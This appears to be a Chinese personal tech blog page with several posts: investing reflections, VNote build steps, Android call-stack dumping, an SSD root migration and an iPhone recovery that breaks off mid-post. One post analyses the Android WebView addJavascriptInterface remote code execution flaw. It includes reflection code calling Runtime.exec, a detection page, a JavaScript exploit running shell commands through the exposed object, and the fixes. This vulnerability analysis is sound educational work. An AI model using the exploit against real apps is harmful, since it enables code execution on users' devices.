0%

本人IT男一枚,2015年入市,到今天5年多了,所幸还在吃人不露骨头的市场上活着,也是非常不容易。基本不存在什么特殊情况,韭菜总是在人声鼎沸的牛市高点入场,本人也不例外,上证3500多点入市,上证3800多点让媳妇买了沪深 300 基金 (不是ETF),这基金今年才解套,小赚出局了。

运气好的是,2015年的时候中了一支新股,新股的收益对冲了倒金字塔加仓的回撤,小赚1万元出局清了仓,有时候我也在想如果不是这赚了1万,是不是也就不会继续炒股了。接下来的事情大家都很熟悉了,熔断和股灾3.0,一直在不赚和小亏中挣扎着,居然也坚持了下来。理工男的特质救了我,从2015年开始认真学习股票操作,恶补基础知识,分时,K线,缺口,价量关系,缠论,波浪理论,箱体理论,趋势交易,价值投资,基本各种理论都看了遍,其实到最后发现有用的东西太少了,关于股票的书也基本没啥用,真正有用的书可能就那么几本,可是如果不看几十本的话,你怎么知道哪几本有用呢?所以炒股并不存在什么捷径,一夜暴富基本是神话,为啥呢?盈亏同源,怎么赚钱就可能怎么亏回去,除非你知道你为什么能赚钱。

下面是这些年的心得,应该可以涨几年功力吧?

要在市场上生存你必须具备某种优势,没有这种优势就是纯赌博,真正赚钱的是要做大概率的投机。买卖股票实际上是对股票做分类,哪些可以做,哪些不可以做,这就涉及了股票交易系统,有了交易系统,剩下的就是执行问题了,要做到BDWQ,后面就是仓位计算,根据股票的波动和你愿意承担的风险程度计算出来。

回首看虽然现在稳定盈利了,又回到了灵魂拷问,投入的时间值得吗?对于很多人来说,最重要可能是资金的原始积累,10万块,翻10倍,100万在中国很多城市一套房也买不了,更不用说财富自由了,所以先努力工作吧,边工作边加大投资比例,梦想还是要有的,万一实现了呢?

向大家安利一款 markdown 笔记软件, VNote https://github.com/vnotex/vnote
此软件目前已经 1300 多个commits 了,做为一个有些开源软件维护经历的人,深感不易。
用了太多 markdown 笔记软件,此软件使得最为顺手,尤其作为程序员 vim 模式 让我感到非常舒服,
大量图表的支持比如 UML 流程图,让我用起来很顺手。

Vnote 分为两个开发阶段,阶段一 vnote2 已经开发完成:https://github.com/vnotex/vnote/tree/vnote2
现在处于第二个开发阶段:https://github.com/vnotex/vnote

据说后续会出收费版本,但目前看还需要很长的一段时间了。

VNote

我前后尝试过各种笔记软件,我理想的软件有几点:

  • a. 支持文件管理
  • b. 不要乱改数据,容易迁移
  • c. 支持 markdown
  • d. 跨平台,支持 Mac 和 Linux

最后,终于发现了 VNote,有点惊喜。在 Linux 下编译 VNote 显示有明显改进,下面是编译的方法:

  1. 下载 QT SDK (最新的 vnotex 官方支持 Qt 5.12,可自行下载使用替换相应的版本即可)

https://mirrors4.tuna.tsinghua.edu.cn/qt/official_releases/qt/5.9/5.9.0/qt-opensource-linux-x64-5.9.0.run

将 Qt5.9 安装到 /home/henices/Qt5.9.0/

  1. 编译 fcitx-qt5 (如果使用的是 fcitx5,需要下载编译 fcitx5-qt)

git clone https://gitlab.com/fcitx/fcitx-qt5.git

准备编译脚本 build_linux.sh, 指定下载的QT

1
2
3
4
5
6
7
8
9
10
QTDIR="/home/henices/Qt5.9.0/5.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
cmake ..
make -j8

使用下面命令编译

1
2
chmod a+x ./build_linux.sh
./build_linux.sh

将生成的 libfcitxplatforminputcontextplugin.so copy 到
/home/henices/Qt5.9.0/5.9/gcc_64/plugins/platforminputcontexts/

  1. 获取VNote 源码
1
2
3
git clone https://github.com/tamlok/vnote.git vnote.git
cd vnote.git
git submodule update --init
  1. 编译

build_linux.sh

1
2
3
4
5
6
7
8
9
10
11
QTDIR="/home/henices/Qt5.9.0/5.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
qmake -v
qmake PREFIX=/usr/local CONFIG-=debug CONFIG+=release ../VNote.pro
make -j8

使用下面命令编译

1
2
chmod a+x ./build_linux.sh
./build_linux.sh
  1. 安装

sudo make install

诡异问题

Fedora 升级到 35 后,Vnote 出现了一系列问题

  1. vnote 的阅读模式不能正常显示 (Qt 5.12.11)

    解决这个问题需要禁用 Qtwebengine 的 sandbox

1
./vnote --no-sandbox
  1. 导出 pdf 文件 cpu 100% (Fedora 系统自带 Qt 5.15.2 编译)
  2. 官方提供的 Linux AppImage 文件无法打开 Fcitx5 输入法。

最终解决问题的方法是下载 Qt5.15.2 重新编译 Vnote, Qt 从 5.15 开始不提供离线安装包,非常不方便。
官方提供的在线升级包如果太新只能安装 Qt 6,所以必须下载老版本的 online installer
https://download.qt.io/archive/online_installers/4.0/qt-unified-linux-x64-4.0.1-1-online.run

具体内容可以参考 https://github.com/vnotex/vnote/issues/1942 的讨论

参考链接

https://tamlok.gitee.io/vnote/zh_cn/#!docs/%E5%BC%80%E5%8F%91%E8%80%85/%E6%9E%84%E5%BB%BAVNote.md

☆ 来自 developer.android.com 的信息

Android 官方网站对addJavascriptInterface的介绍如下:

1
2
3
4
5
6
7
8
9
10
11
12
public void addJavascriptInterface (Object object, String name)  Added in API level 1

Injects the supplied Java object into this WebView. The object is injected into
the JavaScript context of the main frame, using the supplied name. This allows
the Java object's methods to be accessed from JavaScript. For applications
targeted to API level JELLY_BEAN_MR1 and above, only public methods that are
annotated with JavascriptInterface can be accessed from JavaScript. For applications
targeted to API level JELLY_BEAN or below, all public methods (including the inherited ones)
can be accessed, see the important security note below for implications.

Note that injected objects will not appear in JavaScript until the page is next
(re)loaded. For example:
1
2
3
4
5
6
7
8
9

class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}

webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
This method can be used to allow JavaScript to control the host application. 
This is a powerful feature, but also presents a security risk for apps targeting
JELLY_BEAN or earlier. Apps that target a version later than JELLY_BEAN are still
vulnerable if the app runs on a device running Android earlier than 4.2. The
most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the
method is called only when running on Android 4.2 or later. With these older
versions, JavaScript could use reflection to access an injected object's public
fields. Use of this method in a WebView containing untrusted content could allow
an attacker to manipulate the host application in unintended ways, executing
Java code with the permissions of the host application. Use extreme care when
using this method in a WebView which could contain untrusted content.
JavaScript interacts with Java object on a private, background thread of this
WebView. Care is therefore required to maintain thread safety.

The Java object's fields are not accessible.
For applications targeted to API level LOLLIPOP and above, methods of injected
Java objects are enumerable from JavaScript. Parameters object the Java object
to inject into this WebView's JavaScript context. Null values are ignored.
name the name used to expose the object in JavaScript

之所以提供addJavascriptInterface是为了WebView中的Javascript可以和本地的App
通讯,这确实是一个很强大的功能,这么做的好处在于本地App逻辑不变的情况下,不
需要升级App就可以对程序进行更新,修改相应的Web页面就可以了。

☆ 相关知识

WebView的使用方法

在layout中定义 , 在Activity的onCreate中加入下面的代码

1
2
3
WebView webview = new WebView(this);
setContentView(webview);
webview.loadUrl("http://slashdot.org/");

Java Reflection

反射是java语言提供的一种机制,使Java程序可以在运行时检查类、接口、方法和成员,
而不需要在编译的时候知道类的名字和方法等细节信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

package Reflect;
import java.lang.reflect.Method;

class Demo {

public void a1() {
}

public void a2() {
}

}

class hello {

public static void main(String[] args) {

Demo demo=new Demo();
Class mObjectClass = demo.getClass();

System.out.println(mObjectClass.getName());

Method[] methods = mObjectClass.getMethods();
for(Method method : methods){
System.out.println("method = " + method.getName());
}

try {

Class c = mObjectClass.forName("java.lang.Runtime");
Method m = c.getMethod("getRuntime", null);
m.setAccessible(true);
Object obj = m.invoke(null, null);

Class c2 = obj.getClass();
String[] array = {"/bin/sh", "-c", "id > /tmp/id"};
Method n = c2.getMethod("exec", array.getClass());
n.invoke(obj, new Object[]{array});

} catch (Throwable e) {
System.out.println(e.toString());
}
}

}

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> javac -d . Reflect/hello.java
> java Reflect.hello

Reflect.Demo
method = a2
method = a1
method = wait
method = wait
method = wait
method = equals
method = toString
method = hashCode
method = getClass
method = notify
method = notifyAll

命令执行成功。

通过reflection 访问private

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

package Reflect;

import java.lang.reflect.Method;

class Demo {

private void a1() {
System.out.println("I am a1");
}

public void a2() {
System.out.println("I am a2");
}

}


class hello {

public static void main(String[] args) {

Demo demo=new Demo();
Class mObjectClass = demo.getClass();

System.out.println(mObjectClass.getName());

Method[] methods = mObjectClass.getDeclaredMethods();
for(Method method : methods){
System.out.println("method = " + method.getName());
}

try {
Object o = mObjectClass.newInstance();
methods[0].setAccessible(true);
methods[0].invoke(o);
} catch (Throwable e) {
}
}

}

运行结果:

1
2
3
4
5
6
7
> javac -d . Reflect/hello.java
> java Reflect.hello

Reflect.Demo
method = a1
method = a2
I am a1

已经成功调用了Demo的private a1 方法

☆ 相关漏洞

CVE-2013-4710

Disney Mobile、eAccess、KDDI、NTT DOCOMO、SoftBank设备上的Android 3.0至4.1.x版
本中存在安全漏洞,该漏洞源于程序没有正确实现WebView类。远程攻击者可借助特制的网
页利用该漏洞执行任意Java对象的方法或造成拒绝服务(重启)

CVE-2012-6636 (关键的CVE)

该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可
通过使用Java Reflection 利用该漏洞执行任意Java对象的方法。影响使用 API Level 16
以及之前的Android 系统。(Android 4.2 为 API Level 17)

CVE-2014-1939 searchBoxJavaBridge_ in Android Jelly Bean

此漏洞公布了一个可利用的Java Object “searchBoxJavaBridge_”

CVE-2014-7224

根据 android/webkit/AccessibilityInjector.java 代码中的介绍,发现当系统辅助
功能中的任意一项服务被开启后,所有由系统提供的WebView都会被加入两个JS objects,
分别为是”accessibility” 和 “accessibilityTraversal”。如果APP使用了系统的WebView
并且设置了setJavaScriptEnabled(),那么恶意攻击者就可以使用”accessibility” 和
“accessibilityTraversal” 这两个Java Bridge来执行远程攻击代码

分析

这些CVE中最核心的是CVE-2012-6636, 出现的问题是接口定义问题。是非常经典的
do a 变成 do b 的例子,后面的修复方法也是保证了do a 就是 do a。

☆ 漏洞检测

使用WebView访问下面页面,输出的接口名称则存在漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>WebView漏洞检测</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=0">
</head>
<body>
<p>
<b>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</b>
</p>
<script type="text/javascript">
function check()
{
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass();
document.write('<span style="color:red">'+obj+'</span>');
document.write('<br />');
}catch(e){
}
}
} catch(e) {
}
}
}
check();
</script>
</body>
</html>

现代浏览器都实现基本一致的BOM,使得JavaScript和浏览器进行消息传递。
是否有getClass的方法,可以作为检测WebView漏洞依据。

在Android 4.1.1 原生系统上测试,在默认配置下,存在 searchBoxJavaBridge_
可以利用,CVE-2014-7224上的两个接口,并没有成功暴露。看了源代码后发现必须
打开Accessibility 设置中的Enhance Web accessibility 才会暴露这个两个接口,
因此CVE-2014-7224的影响并不像想象中的那么大。

☆ 漏洞利用的方法

1
2
3
4
5
6
7
<script>
function execute(cmd){
return
window.jsinterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

jsinterface是导出的Java对象, 测试成功,权限是app 的用户权限。

☆ 修复方法和现状

Google宣布不为小于Android 4.4 的系统提供WebView补丁, 具体可以参见链接:

https://community.rapid7.com/community/metasploit/blog/2015/01/11/google-no-longer-provides-patches-for-webview-jelly-bean-and-prior

要解决WebView的RCE漏洞,比较靠谱的方法是升级Android系统,至少要升级到
API level 17 (Android 4.2), WebView 除了最严重的RCE漏洞,还有各种SOP漏洞,所
以至少要升级到Android 4.4才能保证安全,小于Android 4.4 Google不提供补丁。
Android 4.4 以后使用以chrome为基础的WebView。

升级系统API level 17后,只有显示添加 @JavascriptInterface的方法才能被JavaScript
调用,这样反射就失去作用了。

1
2
3
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");
removeJavascriptInterface("searchBoxJavaBridge_");

☆ 参考链接

☆ 思考

WebView 中还提供了一个方法让我们可以获得控制的机会

1
2
3
4
5
6
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url.substring(0,6).equalsIgnoreCase("yourscheme:")) {
// parse the URL object and execute functions
}
}

如果使用上面的代码,在网页的javascript中添加下面的代码,就可以进入后面的解析
URL流程,如果后续代码没有进行严格的检查可能会有一些其他的安全问题。

1
window.location = yourscheme://method?parameter=value

Google对这个方法的解释如下:

1
2
3
4
5
6
7
Give the host application a chance to take over the control when a new url 
is about to be loaded in the current WebView. If WebViewClient is not
provided, by default WebView will ask Activity Manager to choose the proper
handler for the url. If WebViewClient is provided, return true means the
host application handles the url, while return false means the current
WebView handles the url. This method is not called for requests using
the POST "method".

其实就是当WebView加载新的URL时给App程序一个控制的机会,这还是有一些想象空间的。

☆ 使用kill 发送 SIGNAL_QUIT

这种方法只能用于zygote 的子进程 (比如所有的 app 进程, 都是由zygote fork 而来).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# kill -3 pid

# cat /data/anr/traces.txt

...

suspend all histogram: Sum: 290us 99% C.I. 2us-40us Avg: 14.500us Max: 40us
DALVIK THREADS (12):
"Signal Catcher" daemon prio=5 tid=2 Runnable
| group="system" sCount=0 dsCount=0 obj=0x32c070a0 self=0xaecca000
| sysTid=1918 nice=0 cgrp=bg_non_interactive sched=0/0 handle=0xb4406930
| state=R schedstat=( 228351607 17443703 83 ) utm=12 stm=9 core=0 HZ=100
| stack=0xb430a000-0xb430c000 stackSize=1014KB
| held mutexes= "mutator lock"(shared held)
native: #00 pc 00370e01 /system/lib/libart.so (_ZN3art15DumpNativeStackERNSt3__113basic_ostreamIcNS0_11char_traitsIcEEEEiPKcPNS_9ArtMethodEPv+160)
native: #01 pc 0035046f /system/lib/libart.so (_ZNK3art6Thread4DumpERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+150)
native: #02 pc 0035a373 /system/lib/libart.so (_ZN3art14DumpCheckpoint3RunEPNS_6ThreadE+442)
native: #03 pc 0035af31 /system/lib/libart.so (_ZN3art10ThreadList13RunCheckpointEPNS_7ClosureE+212)
native: #04 pc 0035b45f /system/lib/libart.so (_ZN3art10ThreadList4DumpERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+142)
native: #05 pc 0035bb6f /system/lib/libart.so (_ZN3art10ThreadList14DumpForSigQuitERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+334)
native: #06 pc 00333cb7 /system/lib/libart.so (_ZN3art7Runtime14DumpForSigQuitERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+74)
native: #07 pc 0033b01d /system/lib/libart.so (_ZN3art13SignalCatcher13HandleSigQuitEv+928)
native: #08 pc 0033b901 /system/lib/libart.so (_ZN3art13SignalCatcher3RunEPv+340)
native: #09 pc 0003f45f /system/lib/libc.so (_ZL15__pthread_startPv+30)
native: #10 pc 00019b43 /system/lib/libc.so (__start_thread+6)
(no managed stack frames)

"main" prio=5 tid=1 Native
| group="main" sCount=1 dsCount=0 obj=0x74abb2a0 self=0xb4d76500
| sysTid=1914 nice=0 cgrp=bg_non_interactive sched=0/0 handle=0xb6f3fb34
| state=S schedstat=( 76934470 21396828 203 ) utm=3 stm=3 core=0 HZ=100
| stack=0xbe55e000-0xbe560000 stackSize=8MB
| held mutexes=
native: #00 pc 00040894 /system/lib/libc.so (__epoll_pwait+20)
native: #01 pc 00019e6f /system/lib/libc.so (epoll_pwait+26)

...

结果写在 /data/anr/traces.txt 文件中, anr 是 ANR(Application Not Response)的意思.

https://android.googlesource.com/platform/art/+/android-7.1.1_r13/runtime/runtime.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void Runtime::InitNonZygoteOrPostFork(
JNIEnv* env, bool is_system_server, NativeBridgeAction action, const char* isa) {

...

// Create the thread pools.
heap_->CreateThreadPool();
// Reset the gc performance data at zygote fork so that the GCs
// before fork aren't attributed to an app.
heap_->ResetGcPerformanceInfo();
if (!is_system_server &&
!safe_mode_ &&
(jit_options_->UseJitCompilation() || jit_options_->GetSaveProfilingInfo()) &&
jit_.get() == nullptr) {
// Note that when running ART standalone (not zygote, nor zygote fork),
// the jit may have already been created.
CreateJit();
}
StartSignalCatcher();
// Start the JDWP thread. If the command-line debugger flags specified "suspend=y",
// this will pause the runtime, so we probably want this to come last.
Dbg::StartJdwp();
}

可以看出非zygote的进程都会启动 Signal Catcher的 线程.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@shamu:/ # ps -t 2089
USER PID PPID VSIZE RSS WCHAN PC NAME
u0_a58 2089 386 1565280 53732 SyS_epoll_ b6cb0894 S com.hujiang.dict:pushservice
u0_a58 2092 2089 1565280 53732 do_sigtime b6cb0b68 S Signal Catcher
u0_a58 2095 2089 1565280 53732 unix_strea b6cb194c S JDWP
u0_a58 2096 2089 1565280 53732 futex_wait b6c875e8 S ReferenceQueueD
u0_a58 2097 2089 1565280 53732 futex_wait b6c875e8 S FinalizerDaemon
u0_a58 2099 2089 1565280 53732 futex_wait b6c875e8 S FinalizerWatchd
u0_a58 2100 2089 1565280 53732 futex_wait b6c875e8 S HeapTaskDaemon
u0_a58 2101 2089 1565280 53732 binder_thr b6cb09c0 S Binder_1
u0_a58 2102 2089 1565280 53732 binder_thr b6cb09c0 S Binder_2
u0_a58 2107 2089 1565280 53732 SyS_epoll_ b6cb0894 S Thread-123
u0_a58 2108 2089 1565280 53732 futex_wait b6c875e8 S taskService-pro

zygote 自己没有该线程.

root@shamu:/ # ps | grep -i zy
root 386 1 1528448 67416 poll_sched b6cb0a5c S zygote

127|root@shamu:/ # ps -t 386
USER PID PPID VSIZE RSS WCHAN PC NAME
root 386 1 1528448 67416 poll_sched b6cb0a5c S zygote
root 2203 386 1528448 67416 futex_wait b6c875e8 S ReferenceQueueD
root 2204 386 1528448 67416 futex_wait b6c875e8 S FinalizerDaemon
root 2205 386 1528448 67416 futex_wait b6c875e8 S FinalizerWatchd
root 2206 386 1528448 67416 futex_wait b6c875e8 S HeapTaskDaemon

https://android.googlesource.com/platform/art/+/android-7.1.1_r13/runtime/signal_catcher.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
...

void SignalCatcher::Output(const std::string& s) {
if (stack_trace_file_.empty()) {
LOG(INFO) << s;
return;
}
...

void SignalCatcher::HandleSigQuit() {
Runtime* runtime = Runtime::Current();
std::ostringstream os;
os << "\n"
<< "----- pid " << getpid() << " at " << GetIsoDate() << " -----\n";
DumpCmdLine(os);
// Note: The strings "Build fingerprint:" and "ABI:" are chosen to match the format used by
// debuggerd. This allows, for example, the stack tool to work.
std::string fingerprint = runtime->GetFingerprint();
os << "Build fingerprint: '" << (fingerprint.empty() ? "unknown" : fingerprint) << "'\n";
os << "ABI: '" << GetInstructionSetString(runtime->GetInstructionSet()) << "'\n";
os << "Build type: " << (kIsDebugBuild ? "debug" : "optimized") << "\n";
runtime->DumpForSigQuit(os);
if ((false)) {
std::string maps;
if (ReadFileToString("/proc/self/maps", &maps)) {
os << "/proc/self/maps:\n" << maps;
}
}
os << "----- end " << getpid() << " -----\n";
Output(os.str());
}

...

while (true) {
int signal_number = signal_catcher->WaitForSignal(self, signals);
if (signal_catcher->ShouldHalt()) {
runtime->DetachCurrentThread();
return nullptr;
}
switch (signal_number) {
case SIGQUIT:
signal_catcher->HandleSigQuit();
break;
case SIGUSR1:
signal_catcher->HandleSigUsr1();
break;
default:
LOG(ERROR) << "Unexpected signal %d" << signal_number;
break;
}
}
...

从源码中发现除了SIGQUIT 还可以发送 SIGUSR1 , 这个信号可以使进程java 虚拟机执行GC
操作 kill -10 pid

1
2
3
4
void SignalCatcher::HandleSigUsr1() {
LOG(INFO) << "SIGUSR1 forcing GC (no HPROF)";
Runtime::Current()->GetHeap()->CollectGarbage(false);
}

☆ 使用 debugged 命令行

这种方法是全系统通用的, 可以用于非zygote的进程.

1
2
Usage: -b [<tid>]
-b dump backtrace to console, otherwise dump full tombstone file

通过 -b 参数指定进程pid, 即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# debuggerd -b 23850

Sending request to dump task 23850.


----- pid 23850 at 1970-01-27 03:57:11 -----
Cmd line: /sbin/adbd
ABI: 'arm'

"adbd" sysTid=23850
#00 pc 0002b158 /sbin/adbd
#01 pc 0002467f /sbin/adbd
#02 pc 00020854 [stack]

"adbd" sysTid=23851
#00 pc 0002fd38 /sbin/adbd
#01 pc 0002a501 /sbin/adbd
#02 pc 0000000b <unknown>

"adbd" sysTid=23852
#00 pc 0002b624 /sbin/adbd
#01 pc 000106cf /sbin/adbd
#02 pc 00010301 /sbin/adbd
#03 pc 0002a613 /sbin/adbd
#04 pc 00030283 /sbin/adbd

"adbd" sysTid=23853
#00 pc 0002b628 /sbin/adbd
#01 pc 00013999 /sbin/adbd
#02 pc 000112ed /sbin/adbd
#03 pc 000104e1 /sbin/adbd
#04 pc 0002a613 /sbin/adbd
#05 pc 00030283 /sbin/adbd

"adbd" sysTid=23862
#00 pc 0002b888 /sbin/adbd
#01 pc 0000a503 /sbin/adbd
#02 pc 00009527 /sbin/adbd
#03 pc 0002a613 /sbin/adbd
#04 pc 00030283 /sbin/adbd

----- end 23850 -----
...

☆ java 代码中打印调用栈

1
2
3
4
5
6
try {  
...
} catch (RemoteException e) {
e.printStackTrace();
...
}

☆ C++代码中打印调用栈

CallStack.cpp

1
2
3
4
5
6
7
8
9
#include <utils/CallStack.h>

int main() {
android::CallStack stack;
stack.update();
stack.dump(1);

return 0;
}

Android.mk

1
2
3
4
5
6
7
8
9
10
11
12
LOCAL_PATH:= $(call my-dir)


include $(CLEAR_VARS)
LOCAL_SRC_FILES:= CallStack.cpp
LOCAL_SHARED_LIBRARIES += libutils
LOCAL_LDLIBS += -ldl -lutils

LOCAL_CFLAGS := $(common_CFLAGS)
LOCAL_MODULE := CallStack
include $(BUILD_EXECUTABLE)

执行后显示类似下面的结果

1
2
3
4
5

root@shamu:/data/local/tmp # ./CallStack
#00 pc 000006d1 /data/local/tmp/CallStack
#01 pc 00017359 /system/lib/libc.so (__libc_init+44)
#02 pc 0000074c /data/local/tmp/CallStack

由于某些需求,决定上SSD,提高一下硬盘读写速度。上二手东买了三星(SAMSUNG) 860 EVO
最初的想法是作为数据盘使用,即操作系统还是跑在机械硬盘上,仔细一思考,还是折腾
一下,要不实在是有些浪费,事实证明,折腾是值得的,感觉就想飞一样。

首先查看一下原始的情况:

1
2
3
4
$ mount

/dev/sda1 on /boot type ext4 (rw,relatime,seclabel,stripe=4)
/dev/mapper/fedora-root on / type ext4 (rw,relatime,seclabel)

当然首先要把SSD处理一下,安装一下 gparted 图形化界面很好用。建个分区表,选择
gpt,分个区,/dev/mapper/fedora-root 大小为50G,先分个50G的分区,剩下的全部给
另外一个分区,格式化为 ext4。操作完成后,用fdisk 查看一下:

1
2
3
4
5
6
7
8
9
10
11
12
$ fdisk -l

Disk /dev/sdb:232.9 GiB,250059350016 字节,488397168 个扇区
单元:扇区 / 1 * 512 = 512 字节
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节
磁盘标签类型:gpt
磁盘标识符:

设备 起点 末尾 扇区 大小 类型
/dev/sdb1 2048 104859647 104857600 50G Linux 文件系统
/dev/sdb2 104859648 488396799 383537152 182.9G Linux 文件系统

将原来系统的 / dd 到新的SSD,

1
dd if=/dev/mapper/fedora-root of=/dev/sdb1 bs=1M

用新的root 把系统启动起来,reboot 后进入引导界面,按e 编译,找到
root=/dev/fedora/root 改为 root=/dev/sdb1 按 ctrl+x 启动,一会儿就进系统了,速度
提升很大。现在需要把 grub.cfg 更新一下,因为我们是手动修改进入了新的根,如果重启
的话,还是会使用老的根,因为grub.cfg 里就是这么写的。

要生成新的grub.cfg 需要使用grub2-mkconfig, 命令很简单

$ grub2-mkconfig -o /boot/grub2/grub.cfg

执行后重启,md 怎么又进到老根去了。这里折腾了好久,第一个问题fedora 的内核出bug
了,每次重启都要等待非常久的时间,所以需要升级,所以正确的顺序应该是先升级系统再
dd,没办法升级系统重新 dd

解决了fedora 内核的问题后,发现还是进不到新根。只要认真地看 grub.cfg, grub2 改动
挺大,不太熟悉了。

1
2
3
4
#                                      
# DO NOT EDIT THIS FILE #
# It is automatically generated by grub2-mkconfig using templates
# from /etc/grub.d and settings from /etc/default/grub

启动有两个信息,确实是使用 grub2-mkconfig 生成,/etc/default/grub 里有配置

1
2
3
4
5
6
7
8
9
10
$ cat /etc/default/grub


GRUB_TIMEOUT=5
GRUB_DISTRIBUTOR="$(sed 's, release .*$,,g' /etc/system-release)"
GRUB_DEFAULT=saved
GRUB_DISABLE_SUBMENU=true
GRUB_TERMINAL_OUTPUT="console"
GRUB_CMDLINE_LINUX="rd.driver.blacklist=nouveau modprobe.blacklist=nouveau nvidia-drm.modeset=1 rd.lvm.lv=fedora/root rd.lvm.lv=fedora/swap rhgb quiet"
GRUB_DISABLE_RECOVERY="true"

grub2-mkconfig 里用这句

1
GRUB_DEVICE="`${grub_probe} --target=device /`"  

执行查看结果, 发现正确

1
2
3
$ grub2-probe --target=device /

/dev/sdb1

可是为什么不能正确启动呢,看看生成的 grub.cfg 文件

linux16 /vmlinuz-4.17.2-200.fc28.x86_64 root=UUID=290a98e3-7937-49db-a971-4d0e49567cf0

使用的是 UUID,并不是 /dev, 查看一下各分区的 uuid

1
2
3
4
# blkid

/dev/sdb1: UUID="290a98e3-7937-49db-a971-4d0e49567cf0" TYPE="ext4" PARTUUID="fe64f395-7520-42c3-939b-b17eb7064cec"
/dev/mapper/fedora-root: UUID="290a98e3-7937-49db-a971-4d0e49567cf0" TYPE="ext4"

由于dd 的原因,/dev/sdb1 和 /dev/mapper/fedora-root 的 UUID 居然是相同的。第一个
想法是把/dev/sdb1 的 UUID 给改了。放狗搜发现有下面的方法

1
2
3
4
$ uuidgen 
8e4c27b2-c63e-4d1d-8ac4-5ddd90669eb0

tune2fs /dev/{device} -U {uuid}

可是tune2fs 时报错,死活改不过来。lzx 提示可以看看如何是grub.cfg 不使用uuid,
发现有个参数 GRUB_DISABLE_UUID=true, 在 /etc/default/grub 加上这行,重新生成
grub.cfg 重启,一切 OK 进入到SSD 的新root

有的系统上的参数可能不太一样,ubuntu 系统里这个参数好像的是 GRUB_DISABLE_LINUX_UUID=true
可能需要确认一下。

  • EOF

上周媳妇的 iPhone 提示内存满了,重启后就进入白苹果状态。安装 itunes 以更新的方式重刷系统后恢复正常 (如果选择恢复模式则会丢失数据)。
刷系统的时候一度遇上 14 错误,重新使用更新系统的方式再刷了一遍后,顺利通过 (运气不错)。顺利登录 iPhone 后马上删除各种 App,清理后台驻留的程序,在此也提示大家 iPhone 手机也是要定期维护啊。

说起来就上面几句话,实际操作起来比较麻烦,大概弄了一个早上,把几个要点总结一下。

强制重新启动 iPhone

其实在刷机前我尝试了强制重启 iPhone,强制重启 iPhone 的方法可以参考下面链接:
https://support.apple.com/zh-cn/guide/iphone/iph8903c3ee6/ios

新版 iPhone 可以使用下面的方法

1
2
3
4
5
强制重新启动配备面容 ID 的 iPhone

若要强制重新启动 iPhone X、iPhone XS、iPhone XR、iPhone 11、iPhone 12 或 iPhone 13,请执行以下操作:

按下并快速松开调高音量按钮,按下并快速松开调低音量按钮,然后按住侧边按钮。当 Apple 标志出现时,松开按钮。

但是强制重启 iPhone 并没有成功,手机依然处于白苹果状态没有响应。

进入 DFU 模式

不进入 DFU 模式无法刷机,iPhone 不同机型进入 DFU 模式的方法不相同,具体的可以参考下面链接:
https://support.apple.com/en-us/HT201263

1
2
3
iPhone 8 or later: Press and quickly release the Volume Up button. 
Press and quickly release the Volume Down button.
Then, press and hold the Side button until you see the recovery mode screen.

安装 itunes 刷机

安装 itunes 的过程就不在细说了,正常安装即可。更新过程需要注意中间某个步骤可能耗时很长,不要着急得慢慢等,Apple 还专门有链接说明这个问题。
https://support.apple.com/zh-cn/HT203435

1
2
3
4
5
6
7
出现这种情况后,进度条可能移动非常缓慢或似乎不移动。

请等待设备完成更新、恢复或抹掉过程。

进度条会显示安装进度。所用时间取决于设备上的文件数量,以及您是要抹掉、更新还是升级 iOS 或 iPadOS。
如果设备上只有很少数据或没有数据,或者如果您要抹掉设备上的数据,这个过程可能只需一分钟时间。
如果设备包含大量文件,则这个过程可能需要数分钟至一小时不等。

刷机过程中大概率会遇上 14 错误,网络上说法很多大概就两点。

